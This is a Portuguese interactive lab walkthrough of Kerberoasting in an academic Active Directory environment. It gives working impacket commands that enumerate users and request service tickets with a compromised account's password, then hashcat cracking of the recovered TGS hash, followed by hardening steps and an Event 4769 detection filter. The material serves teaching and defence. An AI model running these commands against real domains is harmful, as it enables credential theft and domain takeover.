🛡️ Laboratório de Segurança  ·  Active Directory

Operação Kerberos

Uma missão de infiltração no domínio lab.local. A conta de alice foi comprometida — e agora está sendo usada como porta de entrada. Aprenda como o ataque funciona e como defender o castelo.

MISSÃO: 0% concluída

Fase I · Reconhecimento

O Castelo do Domínio

Antes de qualquer operação, conheça o território. Este é o ambiente do laboratório.

🏰
lab.local
Domínio AD
👑
Win Server
Domain Controller
172.24.173.229
🐉
Kali Linux
Máquina do atacante real
🕵️
alice
Vítima: conta comprometida
via phishing / senha fraca
⚠️
svc_sql
Conta de serviço
vulnerável
📋 Inventário do Alvo
ItemValorRisco
Domínio lab.local ● NEUTRO
Conta de serviço svc_sql ● CRÍTICO
SPN configurado MSSQLSvc/sql.lab.local:1433
Etiqueta que anuncia o serviço SQL Server no domínio
● OBSERVAR
Senha de svc_sql Fraca (Password123!) ● CRÍTICO
svc_sql nos grupos Domain Admins 🚨 ● CRÍTICO
Evidências reais // montagem do ambiente
Hyper-V com as máquinas Windows Server e Kali Linux
Topologia do laboratório no Hyper-V: o Windows Server funciona como DC e o Kali como estação de teste.
Server Manager com as funções AD DS e DNS
O Domain Controller oferece AD DS e DNS, serviços centrais para autenticação e localização do domínio.
Usuários Alice, Bob e svc_sql no Active Directory
Objetos usados no cenário: Alice e Bob como usuários e svc_sql como conta de serviço.

🏰 Metáfora do Castelo

O castelo lab.local tem muros (autenticação), guardas (DC), e salas internas (serviços). Qualquer funcionário com crachá válido pode pedir acesso à sala do SQL — mas esse crachá é protegido com a chave pessoal do responsável. Se a chave for fraca, um inimigo que roubou o crachá pode abri-la em casa, no conforto da taverna.

Fase II · Teoria

O que é Kerberoasting?

Entenda o mecanismo antes de executar o ataque.

🏷️ O que é um SPN?

SPN significa Service Principal Name — é basicamente o endereço oficial de um serviço dentro do domínio. Funciona como uma etiqueta que diz: "esse serviço existe, está rodando nessa máquina, nessa porta, e pertence a essa conta."

🏰 Metáfora

Imagine que o castelo tem várias salas. Cada sala tem uma placa na porta com o nome da sala, o número e o responsável. O SPN é essa placa. Sem um SPN válido, o KDC não consegue identificar aquele serviço para emitir seu ticket Kerberos. Com a placa registrada, um usuário autenticado pode pedir um crachá para aquela sala.

No laboratório, o SPN configurado na conta svc_sql é:

Formato: Serviço/Hostname:Porta
MSSQLSvc/sql.lab.local:1433

# MSSQLSvc → tipo de serviço (SQL Server)
# sql.lab.local → hostname da máquina onde roda
# 1433 → porta TCP padrão do SQL Server
PerguntaResposta
Quem cria o SPN?Um administrador ou um serviço com permissão para registrar o atributo no AD
Onde fica armazenado?No atributo servicePrincipalName da conta no AD
Por que o SPN importa pro ataque?Sem SPN, o DC não emite TGS para aquela conta — ou seja, sem SPN, não há Kerberoasting possível
O SPN em si é o problema?Não. O SPN permite identificar o serviço e solicitar o ticket. Senha fraca facilita a quebra offline; privilégio alto aumenta o impacto.
🔐 Como funciona o Kerberos?

Kerberos é o sistema de autenticação do Active Directory. Em vez de enviar a senha pela rede, ele usa tickets temporários. Clique em cada mensagem para entender o que ela faz.

💡 Clique nas setas para ver a explicação de cada etapa

👩‍💻 Usuário (alice comprometida) 🔑 AS Auth Service KDC 🎟️ TGS Ticket Granting svc_sql SQL Server MSSQLSvc/sql.lab.local ① AS_REQ ② AS_REP ③ TGS_REQ ④ TGS_REP ⚠️ ⑤ AP_REQ ⑥ AP_REP opcional

👆 Clique em uma seta numerada para ver o que acontece naquela etapa

No TGS-REP (etapa ④), o ticket de serviço é cifrado com uma chave de longo prazo derivada do segredo da conta de serviço. No caso RC4-HMAC do laboratório, essa chave está ligada ao hash NT da senha. Isso permite testar palpites de senha offline sem enviar cada tentativa ao DC.

🎯 Por que isso é um problema?

O SPN viabiliza a solicitação do ticket; a senha fraca torna a recuperação offline mais provável; o privilégio excessivo aumenta o impacto. As duas últimas condições não são necessárias para solicitar o TGS, mas tornam o cenário muito mais grave.

#CondiçãoNo laboratório
1 Conta com SPN registrado ✓ svc_sql tem SPN
2 Senha fraca ou antiga ✓ Password123!
3 Privilégios altos ✓ Domain Admins

🏰 Metáfora Completa

Mundo realKerberos
Alice, funcionária vítima de phishingConta comprometida usada pelo atacante
Recepção do casteloDomain Controller (KDC)
Crachá para entrar na sala do SQLTicket de serviço entregue no TGS-REP
Cadeado do cracháCifra com senha de svc_sql
Tentar abrir o cadeado em casaTeste offline de senhas sobre os dados cifrados do ticket
🧠 Teste seu entendimento

Importante: o atacante não precisa ser Domain Admin. Uma conta comum, após se autenticar, pode obter um TGT e solicitar tickets de serviço para SPNs registrados.

O que torna o Kerberoasting possível mesmo sem privilégios de administrador?
A senha da conta de serviço trafega em texto claro pela rede.
Qualquer usuário autenticado pode solicitar um TGS para contas com SPN.
O DC permite solicitar um TGS sem autenticação prévia.
✅ Correto! O Kerberos permite que qualquer usuário autenticado requisite tickets de serviço. O DC não questiona a intenção — ele simplesmente entrega o ticket cifrado com a senha da conta-alvo.
Evidências reais // origem da vulnerabilidade
Atributo servicePrincipalName da conta svc_sql
O atributo servicePrincipalName associa MSSQLSvc/sql.lab.local:1433 à conta svc_sql, permitindo que o KDC emita um ticket para esse serviço.
Conta svc_sql associada ao grupo Domain Admins
A má configuração proposital aumenta o impacto: svc_sql aparece como membro de Domain Admins.

Fase III · Execução

A Infiltração

Execute o ataque passo a passo. Cada comando revela uma etapa da operação.

🎣 Ponto de partida — Como o atacante conseguiu a conta de alice?

Alice não é o atacante. Ela é uma vítima. O atacante obteve as credenciais dela por um destes caminhos comuns:

VetorComo ocorre
🎣 PhishingAlice clicou num link falso e digitou a senha num portal imitando o login da empresa
🔑 Senha fracaA senha de Alice era simples (ex: Alice@2024) e foi quebrada por força bruta ou spray
💾 Credential dumpO atacante já tinha acesso a outra máquina e encontrou credenciais salvas

Com as credenciais de alice, o atacante tem um pé dentro do domínio — e isso é tudo que o Kerberoasting precisa.

📡 Passo 1 — Verificar conectividade com o DC

Antes de qualquer operação, confirmar que o Kali alcança o Domain Controller.

kali@kali — ping ao DC
┌──(kali㉿kali)-[~]
└─$
ping -c 4 172.24.173.229
PING 172.24.173.229 (172.24.173.229) 56(84) bytes of data.
64 bytes from 172.24.173.229: icmp_seq=1 ttl=128 time=0.329 ms
64 bytes from 172.24.173.229: icmp_seq=2 ttl=128 time=0.340 ms
--- 172.24.173.229 ping statistics ---
4 packets transmitted, 4 received,
0% packet loss

✔ Conectividade confirmada. Rota livre até o Domain Controller.

🔍 Passo 2 — Enumerar usuários do domínio

Com as credenciais de alice em mãos — obtidas via phishing ou ataque de senha fraca — o atacante lista todos os usuários do domínio a partir do Kali.

impacket-GetADUsers — enumeração de usuários
└─$ impacket-GetADUsers lab.local/alice:'Aluno@123456!' -dc-ip 172.24.173.229 -all

Name Email PasswordLastSet LastLogon
──────────── ─────── ─────────────────────── ────────
Administrator 2026-05-24 10:51:48 ...
alice 2026-05-24 11:11:45 ...
Bob 2026-05-24 11:12:49 ...
svc_sql 2026-05-24 11:16:18 ...

svc_sql aparece no domínio. Próximo passo: verificar se tem SPN.

🎟️ Passo 3 — Requisitar o ticket de serviço

Este é o coração do ataque. GetUserSPNs encontra contas com SPN e requisita o ticket criptografado.

GetUserSPNs — extração do TGS
└─$ impacket-GetUserSPNs lab.local/alice:'Aluno@123456!' \
  -dc-ip 172.24.173.229 -request -outputfile hashes.txt


ServicePrincipalName Name MemberOf
────────────────────────── ─────── ──────────────────────────────────
MSSQLSvc/sql.lab.local:1433 svc_sql CN=Domain Admins,...

[-] CCache file not found. Skipping...
[*] Ticket salvo no formato $krb5tgs$ em hashes.txt

🔑 O que aconteceu?

O atacante tem as credenciais de Alice — ela caiu num phishing e nem sabe disso. Com o crachá dela, ele pede ao DC um crachá de acesso ao SQL. O DC entrega sem questionar — afinal, Alice é funcionária válida. Mas o crachá está lacrado com a senha de svc_sql. O atacante não precisa entrar na sala. Ele só precisa do lacre — e vai quebrá-lo offline, na taverna.

Evidências reais // execução no Kali
Ping do Kali para o Domain Controller
O ping confirma comunicação IP com o DC em 172.24.173.229.
Resolução DNS do domínio lab.local
O DNS do DC resolve lab.local, requisito importante para o funcionamento correto do AD.
Enumeração de usuários com GetADUsers
A conta comum Alice autentica e consulta usuários do domínio, incluindo svc_sql.
Solicitação do TGS da conta svc_sql
GetUserSPNs localiza o SPN, solicita o ticket e grava o material Kerberos em hashes.txt.
Arquivo hashes.txt contendo os dados cifrados do ticket Kerberos
O marcador $krb5tgs$ identifica a representação do ticket cifrado em formato aceito pelo Hashcat; o nome hashes.txt é uma convenção da ferramenta.
Console guiado — execute a cadeia do ataque

O terminal valida parâmetros, respeita a ordem das etapas e explica tentativas incorretas. A fase só termina quando o hash estiver salvo e confirmado.

kali@kali — operação Kerberoast
kali@kali:~$

Fase IV · Quebra Offline

Quebrando o Cadeado

O ticket está em mãos. Agora o ataque acontece completamente offline — sem tocar no DC.

📄 Wordlist do laboratório

Uma lista pequena de senhas candidatas. Em ambientes reais, wordlists chegam a bilhões de entradas.

cat wordlist.txt
└─$ cat wordlist.txt
herdoc
Password123!
Aluno@123456!
Admin123!
Empresa123!
Hashcat — Modo 13100 (TGS-REP)

O modo -m 13100 é específico para hashes Kerberos TGS-REP (Kerberoasting).

hashcat — quebrando o hash
└─$ hashcat -m 13100 hashes.txt wordlist.txt --force

Session.........: hashcat
Status..........:
Cracked
Hash.Mode.......: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target.....: $krb5tgs$23$*svc_sql$LAB.LOCAL$...
Speed.#01.......: 57 MH/s
Candidates.#01..: Password123! → Empresa123!

Candidates.Engine: Pure Kernel
Candidate.Engine.: Password123! → Empresa123!
Started: Thu Jun 25 18:30:28 2026
Stopped: Thu Jun 25 18:30:28 2026
Evidências reais // quebra offline
Wordlist usada na prova de conceito
A wordlist contém poucas senhas candidatas, incluindo a senha fraca configurada no laboratório.
Hashcat mostrando o status Cracked
O modo 13100 identifica o TGS-REP e retorna Status: Cracked.
Hashcat exibindo a senha Password123
O comando --show relaciona o material Kerberos à senha Password123!, comprovando o risco.
Console guiado — quebra offline

Confira a wordlist, execute o Hashcat no modo correto e valide a senha recuperada.

kali@kali — cracking offline
kali@kali:~$

Fase V · Defesa

Fortalecendo o Castelo

Agora que o ataque foi demonstrado, aplique as medidas de hardening. Marque cada ação conforme implementa.

Evidências reais // aplicação do hardening
Remoção de svc_sql do grupo Domain Admins
Menor privilégio: remoção de svc_sql do grupo Domain Admins.
Redefinição da senha de svc_sql
Rotação da credencial que foi recuperada durante a prova de conceito.
Opções de segurança da conta svc_sql
Revisão das opções da conta para eliminar configurações inseguras.
SPN mantido após o hardening
O SPN pode continuar existindo quando o serviço precisa dele; senha forte, menor privilégio, criptografia moderna e monitoramento reduzem o risco.
Evento 4769 no Visualizador de Eventos
O evento 4769 registra solicitações TGS e oferece telemetria para investigar padrões anormais.
Console guiado — validar as correções no Active Directory

Aplique menor privilégio, valide os grupos, rotacione a senha comprometida e consulte os eventos Kerberos.

PowerShell — Domain Controller
PS C:\AD-Lab>
Checklist de Hardening — marque cada item
  • Remover svc_sql do grupo Domain Admins
    Princípio do menor privilégio. Contas de serviço não precisam de acesso total ao domínio.
  • Trocar para senha longa, aleatória e única
    Senhas longas, aleatórias e exclusivas elevam fortemente o custo da quebra offline e retiram a conta de wordlists previsíveis.
  • Migrar para gMSA (Group Managed Service Account)
    O AD gerencia uma senha longa e aleatória e, por padrão, usa intervalo de 30 dias. Isso reduz muito o risco de senha humana fraca, sem eliminar a necessidade de proteger quem pode recuperar a senha gerenciada.
  • Remover SPNs desnecessários
    SPN sem serviço ativo é superfície de ataque sem utilidade. Audite e remova periodicamente.
  • Monitorar Event ID 4769 — TGS Request
    RC4 (0x17) em tickets de serviço merece investigação, principalmente quando combinado com volume, origem ou contas incomuns. Isoladamente, não prova Kerberoasting.
  • Desabilitar criptografia RC4 onde possível
    Prefira AES após validar compatibilidade. AES aumenta o custo da quebra em relação ao RC4, mas senha forte e menor privilégio continuam indispensáveis.
  • Auditar contas com senha que nunca expira
    Para contas sem gMSA, defina uma política de senha longa e exclusiva, monitore exposição e faça rotação planejada quando necessário.
  • Treinar usuários contra phishing e senhas fracas
    No cenário, Alice representa uma credencial previamente comprometida. Conscientização e MFA reduzem phishing e abuso de senha, mas não substituem a proteção das contas de serviço.
0/8 medidas aplicadas
🔍 Detecção — Event ID 4769

Com a política Audit Kerberos Service Ticket Operations habilitada no DC, use o evento 4769 para investigar solicitações TGS. O filtro abaixo é um exemplo inicial e deve ser correlacionado com conta, serviço, origem, volume e padrão histórico:

PowerShell — filtro de eventos
# Buscar solicitações TGS suspeitas (RC4 = possível Kerberoasting)
Get-WinEvent -FilterHashtable @{
  LogName = 'Security'
  Id = 4769
  StartTime = (Get-Date).AddHours(-24)
} | Where-Object {
  $_.Message -match 'Encryption Type: 0x17' # RC4
} | Format-List TimeCreated, Message
📊 Antes × Depois do Hardening
ConfiguraçãoAntes (Vulnerável)Estado recomendado
Senha de svc_sql Password123! (fraca) gMSA rotaciona auto
Grupos Domain Admins Apenas o necessário
Criptografia TGS RC4 (0x17) AES preferido após validar compatibilidade
Monitoramento Nenhum 4769 correlacionado com contexto e baseline
Expiração de senha Never gMSA: 30 dias auto

Missão Concluída

O Castelo Está Seguro

🏆

Certificado de Operação

Kerberoasting & Hardening em Windows/AD

lab.local · svc_sql · Domain Admins eliminado

📝 Resumo da Missão
alice comprometida + SPN descoberto
Extração ticket / hashes.txt
Cracking Password123!
Hardening Castelo seguro
💡 Mensagem Final

Kerberoasting não é um exploit sofisticado. É um abuso de comportamento legítimo do protocolo Kerberos. O ponto de entrada foi a conta de uma usuária comum — alice — comprometida via phishing ou senha fraca. A partir daí, bastou solicitar legitimamente um ticket de serviço, tentar recuperar a senha offline e explorar o privilégio excessivo da conta de serviço. A defesa precisa atuar em todas as camadas: conscientização de usuários, senhas fortes, menor privilégio e monitoramento ativo.

🔬 Ambiente: lab.local · Hyper-V · Windows Server + Kali Linux
🛠️ Ferramentas: impacket, hashcat
📋 Escopo: laboratório acadêmico controlado